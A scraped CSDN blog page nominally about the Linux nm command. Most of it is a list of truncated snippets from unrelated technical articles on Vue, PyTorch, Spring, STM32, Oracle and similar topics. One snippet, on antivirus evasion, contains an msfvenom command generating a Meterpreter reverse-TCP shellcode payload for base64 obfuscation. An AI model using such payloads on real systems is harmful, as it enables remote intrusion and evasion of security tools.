0104__Linux 中 nm 命令简介
Linux 中 nm 命令简介_linux nm-CSDN博客
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01 Linux网络设置 02 DHCP原理与配置 03 DNS域名解析服务 04 远程访问及控制 05 部署YUM仓库及NFS共享服务 06 PXE高效批量网络装机...
Vue18-列表渲染
一、v-for渲染列表 1-1、遍历数组（用的多） 1-2、key属性 让每一个<li>都有一个唯一的标识！ 1、写法一 只有用了遍历的方式(v-for)来生成多个同样结构的数据，必须给每个结构取一个唯一的标识。 2、写法二 或者：…...
【三维重建】增量SFM系统
在学习完鲁鹏老师的三维重建基础后，打算用C代码复现一下增量SFM系统（https://github.com/ldx-star/SFM）。 本项目的最终目标就是通过相机拍摄的多视角视图获取三维点云。由于资金有效，博主使用的是相机是小米12。 先来看一下最终…...
PyTorch 维度变换-Tensor基本操作
以如下 tensor a 为例，展示常用的维度变换操作 >>> a torch.rand(4,3,28,28) >>> a.shape torch.Size([4, 3, 28, 28])view / reshape 两者功能完全相同: a.view(shape) >>> a.view(4,3,28*28) ## a.view(4,3,28,28) 可恢复squeeze…...
spring 事务失效的几种场景
一、背景 在 springBoot 开发过程中，我们一般都是在业务方法上添加 Transactional 注解来让 spring 替我们管理事务，但在某些特定的场景下，添加完注解之后，事务是不生效的，接下来详细介绍下。 二、方法不是 public 2…...
45岁程序员独白：中年打工人出路在哪里？
作为一名也是JAVA方向的互联网从业者，我发现周围超过40岁以上的同事，基本都是部门负责人或者高层，真正还在一线做开发或者当个小领导的，已经是凤毛麟角了。 同事A今年刚满40，育有一儿一女，从进入公司到现在…...
深度探讨：为何训练精度不高却在测试中表现优异？
深度探讨：为何训练精度不高却在测试中表现优异？ 在深度学习领域，我们经常遇到这样一个看似矛盾的现象：模型在训练集上的精度不是特别高，但在测试集上却能达到出色的表现。这种情况虽然不是常规，但其背后的…...
动态内存管理＜C语言＞
导言 在C语言学习阶段，指针、结构体和动态内存管理，是后期学习数据结构的最重要的三大知识模块，也是C语言比较难的知识模块，但是“天下无难事”，只要认真踏实的学习，也能解决，所以下文将介绍动态…...
第一百零二节 Java面向对象设计 - Java静态内部类
Java面向对象设计 - Java静态内部类 静态成员类不是内部类 在另一个类的主体中定义的成员类可以声明为静态。 例子 以下代码声明了顶级类A和静态成员类B： class A {// Static member classpublic static class B {// Body for class B goes here} }注意 静态成…...
给自己Linux搞个『回收站』，防止文件误删除
linux没有像windows里一样的回收站，工作时候删除文件容易不小心删错，造成麻烦的后果。所以给自己整了个回收站： 文件删除，新建~/opts/move_to_trash.sh，然后在里面新增，将${your_name}改成你的用户名。同时…...
Springboot接收参数的21种方式
前言 最近一直在忙着开发项目（ps：其实有些摆烂），好久没有更新博客了，打开csdn一看好多网友留言私信，继上篇博客（我是如何实现HttpGet请求传body参数的！），网友议论纷纷，各抒起见。今天正好抽出时间总结一下Springboot接受参数的21种方式（Post、Get、Delete），一并…...
打造出色开发者体验的十大原则
大约十年前我是一名CIO，当时我在评估一种技术解决方案，向潜在供应商的代表讲明了我们的主要需求。他展示了该公司的至少三款产品。每种工具都有各自的用户体验、开发方法和学习要求，但是解决我们的业务需求同时需要这三种工具。作为CIO&#…...
Vue3_对接腾讯云COS_大文件分片上传和下载
目录 一、腾讯云后台配置 二、安装SDK 1.script 引入方式 2.webpack 引入方式 三、文件上传 1.new COS 实例 2.上传文件 四、文件下载 腾讯云官方文档： 腾讯云官方文档https://cloud.tencent.com/document/product/436/11459 一、腾讯云后台配置 1.登录 对…...
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python免杀--base64加密(GG)
单层加密都GG~ 目录 cs生成个python的payload 将shellcode进行base64编码 执行上线代码 cs生成个python的payload msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhostIP lport6688 -f c cs生成c的也行. 将shellcode进行base64编码 import base64code …...
Python版与Java版城市天气信息爬取对比分析
在对比Python版和Java版城市天气信息爬取时，我们需要考虑多个方面，包括语言特性、库支持、代码简洁性、执行效率以及维护成本等。以下是对这两个版本进行的一些对比分析： 1. 语言特性 Python： 易于学习：Python的语法清…...
CSS真题合集（二）
CSS真题合集（二） 11. css3新增特性12. css3动画12.1 关键帧动画 (keyframes)12.2 animation12.3 transition12.4 transform 13. grid网格布局13.1 使用display: grid或display: inline-grid的HTML元素。13.2 定义网格13.3 13.4 自动填充和自动放置13.4 对…...
长期出汗困扰你？可能是肾合出了问题
想象一下，我们的身体是一座繁茂的秘密花园，每一寸肌肤、每一个细胞都是花园里的一朵花、一片叶。汗水，则是这花园中无声的语言，它讲述着我们的健康与否，也揭示着身体内部的微妙变化。 在炎炎夏日，身体如盛开…...
Jmeter函数二次开发说明
jmeter 二次开发使用 jmeter二次开发实现方法 使用maven依賴进行开发 导入jmeter的maven依赖，需要和你使用的jmeter版本一致。 <!-- https://mvnrepository.com/artifact/org.apache.jmeter/ApacheJMeter_core --> <dependency><groupId>org.ap…...
重新学习STM32（1）GPIO
概念简介 GPIO 是通用输入输出端口的简称，简单来说就是 STM32 可控制的引脚。STM32 芯片通过 GPIO 引脚与外部设备连接起来，从而实现与外部通讯、控制以及数据采集的功能。 GPIO被分成很多组，比如 GPIOA和GPIOB等。所有的 GPIO引脚都有基本的…...
CTF show Web 红包题第六弹
提示 1.不是SQL注入 2.需要找关键源码 思路 进入页面发现是一个登录框，很难让人不联想到SQL注入，但提示都说了不是SQL注入，所以就不往这方面想了 先查看一下网页源码，发现一段JavaScript代码，有一个关键类ctfs…...
【OSG学习笔记】Day 18: 碰撞检测与物理交互
物理引擎（Physics Engine） 物理引擎 是一种通过计算机模拟物理规律（如力学、碰撞、重力、流体动力学等）的软件工具或库。 它的核心目标是在虚拟环境中逼真地模拟物体的运动和交互，广泛应用于 游戏开发、动画制作、虚…...
Oracle查询表空间大小
1 查询数据库中所有的表空间以及表空间所占空间的大小 SELECTtablespace_name,sum( bytes ) / 1024 / 1024 FROMdba_data_files GROUP BYtablespace_name; 2 Oracle查询表空间大小及每个表所占空间的大小 SELECTtablespace_name,file_id,file_name,round( bytes / ( 1024 …...
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从 iPhone 换到 Android 手机时，你可能需要保留重要的数据，例如通讯录。好在，将通讯录从 iPhone 转移到 Android 手机非常简单，你可以从本文中学习 6 种可靠的方法，确保随时保持连接，不错过任何信息。 第 1…...
前端开发面试题总结-JavaScript篇(一)
文章目录 JavaScript高频问答一、作用域与闭包1.什么是闭包（Closure）？闭包有什么应用场景和潜在问题？2.解释 JavaScript 的作用域链（Scope Chain） 二、原型与继承3.原型链是什么？如何实现继承&a…...
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Python 高效图像帧提取与视频编码：实战指南 在音视频处理领域，图像帧提取与视频编码是基础但极具挑战性的任务。Python 结合强大的第三方库（如 OpenCV、FFmpeg、PyAV），可以高效处理视频流，实现快速帧提取、压缩编码等关键功能。本文将深入介绍如何优化这些流程，提高处理…...
【深度学习新浪潮】什么是credit assignment problem？
Credit Assignment Problem（信用分配问题） 是机器学习，尤其是强化学习（RL）中的核心挑战之一，指的是如何将最终的奖励或惩罚准确地分配给导致该结果的各个中间动作或决策。在序列决策任务中，智能体执行一系列动作后获得一个最终奖励，但每个动作对最终结果的贡献程度往往…...
WEB3全栈开发——面试专业技能点P7前端与链上集成
一、Next.js技术栈 ✅ 概念介绍 Next.js 是一个基于 React 的 服务端渲染（SSR）与静态网站生成（SSG） 框架，由 Vercel 开发。它简化了构建生产级 React 应用的过程，并内置了很多特性： ✅ 文件系…...
若依登录用户名和密码加密
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